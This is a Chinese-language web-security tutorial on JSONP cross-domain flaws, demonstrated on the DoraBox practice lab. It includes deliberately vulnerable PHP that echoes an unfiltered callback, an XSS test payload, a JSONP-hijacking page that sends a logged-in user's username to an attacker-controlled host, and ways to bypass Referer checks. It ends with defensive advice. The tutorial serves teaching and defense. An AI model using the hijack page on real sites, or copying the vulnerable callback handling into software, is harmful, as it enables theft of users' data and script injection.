浅谈JSONP跨域漏洞
CSRF(Cross site request forgery)跨站请求伪造,一种挟持用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,跟XSS相比,XSS 利用的是网站对用户的信任,CSRF 利用的是网站对用户网页浏览器的信任。
提起CSRF,可能很多人都会想到修改个人资料、授权登陆等等攻击场景,可以发现这两个场景都是写入型的CSRF漏洞,通常会忽视更常见的读取型的CSRF漏洞,主流如下两种
- JSONP跨域资源读取
- CORS跨域资源读取
当持有敏感资源数据的服务器没有校验请求来源时,如未严格校验Referer或未存在token机制等,都会导致读取型的CSRF漏洞的产生
今天我们就来了解下其中之一的JSONP跨域漏洞
JSONP
我们知道,同源策略SOP(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能。不同域之间相互请求资源,就算作“跨域”,为了能跨域获取资源,产生了JSONP,即JSONP 就是为了跨域获取资源而产生的一种技术手段
JSONP(JSON with Padding)即填充式的JSON,是基于JSON 格式的为解决跨域请求资源而产生的解决方案。通过填充额外的内容把JSON数据包装起来,变成一段有效的可以独立运行的JavaScript语句。
如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON ):
{"id" : "1","name" : "f4ke"}
通过 JSONP 的 “Padding”(填充即包装成可运行的js) , getUsers.JSON 输出为:
callback({"id" : "1","name" : "f4ke"});
它基本原理是利用HTML里script元素标签中的src属性不受同源策略影响的特性,远程调用JSON文件来实现数据传递。JSONP的基本语法为:callback({"name":"alan", "msg":"success"})
具体实现
jsonp.php,作为JSONP服务端资源获取文件,动态生成JSONP格式数据:
<?php
if(isset($_GET['callback'])){
$callback = $_GET['callback'];
print $callback.'({"username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
echo 'No callback param.';
}
?>
客户端可以使用原生js或者jQuery实现JSONP跨域资源请求
原生JS
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JSONP 跨域</title>
</head>
<body>
<div id="here"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
var html = '<ul>';
html += '<li>' + 'username: ' + result.username + '</li>';
html += '<li>' + 'password: ' +result.password + '</li>';
html += '</ul>';
document.getElementById('here').innerHTML = html;
}
</script>
<script type="text/javascript" src="http://www.php.com:8088/jsonp.php?callback=callbackFunction"></script>
</body>
</html>
jQuery
可用$.getJSON
,$.ajax
,$.get
,举例$.ajax
方式
<body>
<div id="here"></div>
<script>
$.ajax({
type: "get", //jsonp默认为get请求,即使写post也会转换成get方式
async: false, // jsonp默认为false,即使写true也会转换成false
url: "http://www.php.com:8088/jsonp.php", // 服务端地址
// data: {"code" : "CA1405"}, // 入参
dataType: "jsonp", // jsonp调用固定写法
jsonp: "callback", // 传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)。即:?callback=xxx中的callback部分
// jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据。即:?callback=xxx中的xxx部分
success: function(data){ // 调用成功之后的方法
var html = '<ul>';
html += '<li>' + 'username: ' + data.username + '</li>';
html += '<li>' + 'password: ' + data.password + '</li>';
html += '</ul>';
document.getElementById('here').innerHTML = html;
},
error: function(){ // 调用失败之后的方法
alert('error');
}
});
</script>
</body>
127.0.0.1:12138
通过JSONP成功跨域请求到www.php.com:8088
的数据资源
JSONP跨域漏洞
JSONP跨域漏洞主要是Callback自定义导致的XSS和JSONP劫持两种类型
Callback自定义导致的XSS
在JSONP跨域中,传入函数名的参数如callback,然后JSONP服务端会根据我们的传参值动态生成JSONP数据响应回来。如果JSONP服务端对于用于传入的函数名参数callback的值处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生
未设置Content-Type且callback未过滤
JSONP服务端代码jsonp.php
如下:
<?php
if(isset($_GET['callback'])){
$callback = $_GET['callback'];
print $callback.'({"username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
echo 'No callback param.';
}
?>
默认情况下未设置Content-Type且未对callback参数进行过滤的场景,这种情形是最基础也是最常见的,网上大多数的JSONP引起的XSS都是这种场景的。
当callback参数值为callbackFunction<script>alert(2333)</script>
,会弹窗,响应包在未设置Content-Type情况下其值为text/html
:
未设置Content-Type但callback过滤
<?php
if(isset($_GET['callback'])){
$callback = htmlspecialchars($_GET['callback']);
$id = $_GET['id'];
print $callback.'({"id" : "'.$id.'", "username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
echo 'No callback param.';
}
?>
可以看到,使用htmlspecialchars
过滤后callback参数避免XSS,但若JSON数据输出部分用户输入的内容,其内容未作过滤被写入XSS payload,如下图也会弹窗
设置Content-Type: application/json
JSON文本的MIME媒体类型是application/json,默认编码为UTF-8。同时这也是建议的JSONP服务端设置的Content-Type值,用于防御XSS
直接在jsonp.php代码开始添加设置Header字段的代码
<?php
header('Content-type: application/json');
if(isset($_GET['callback'])){
$callback = htmlspecialchars($_GET['callback']);
$id = $_GET['id'];
print $callback.'({"id" : "'.$id.'", "username" : "testadmin", "password" : "thisisadminpassword"});';
} else {
echo 'No callback param.';
}
?>
此时无论正常访问还是输入XSS payload,页面都不会显示内容出来:
但在浏览器查看原始数据的时候是有JSONP数据正常返回的,但由于响应包Content-Type的设置,浏览器js引擎不会在页面中解析该内容:
JSONP劫持
JSONP劫持,是一种特殊的CSRF攻击,目的是获取敏感数据。简单说JSONP劫持是将请求JSONP服务端获取到的JSONP数据发往攻击者服务器中、实现获取JSONP敏感信息。
无Referer限制:窃取用户信息
我们使用DoraBox靶场来进行演示
已登录的情况下点击JSONP劫持选项,可见返回用户信息
构造jsonp_hijacking.html网页置于攻击者域名www.php.com:8088
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
<script src="https://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<script>
function test(data){
$.get('http://www.php.com:8088/index.html?value='+data.username);
alert(JSON.stringify(data));
}
</script>
<script src="http://dorabox.com:8066/csrf/jsonp.php?callback=test"></script>
</body>
</html>
由于JSONP服务端http://dorabox.com:8066/csrf/jsonp.php
未对Referer
做限制,即当诱导用户在浏览器中直接访问http://www.php.com:8088/jsonp_hijacking.html
即可拿到用户信息并将其送往攻击者服务器www.php.com:8088
有Referer限制
当JSONP服务端会校验Referer字段,也有一些特定绕过方式
1、空Referer
有时候JSONP服务端对Referer进行了校验,但并未对空Referer进行校验,此时我们就可以使用置空的Referer请求来绕过。
实现发送空Referer的请求的方法有三种:
-
使用iframe标签+javascript伪协议
-
使用meta标签
-
从HTTPS向HTTP发起请求
2、Referer过滤不严格
防御建议
- 若可行,则使用CORS替换JSONP实现跨域功能;
- 应用CSRF防御措施来调用JSON文件:限制Referer 、部署一次性Token等;
- 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );
- 严格过滤 callback 函数名及JSON里数据的输出;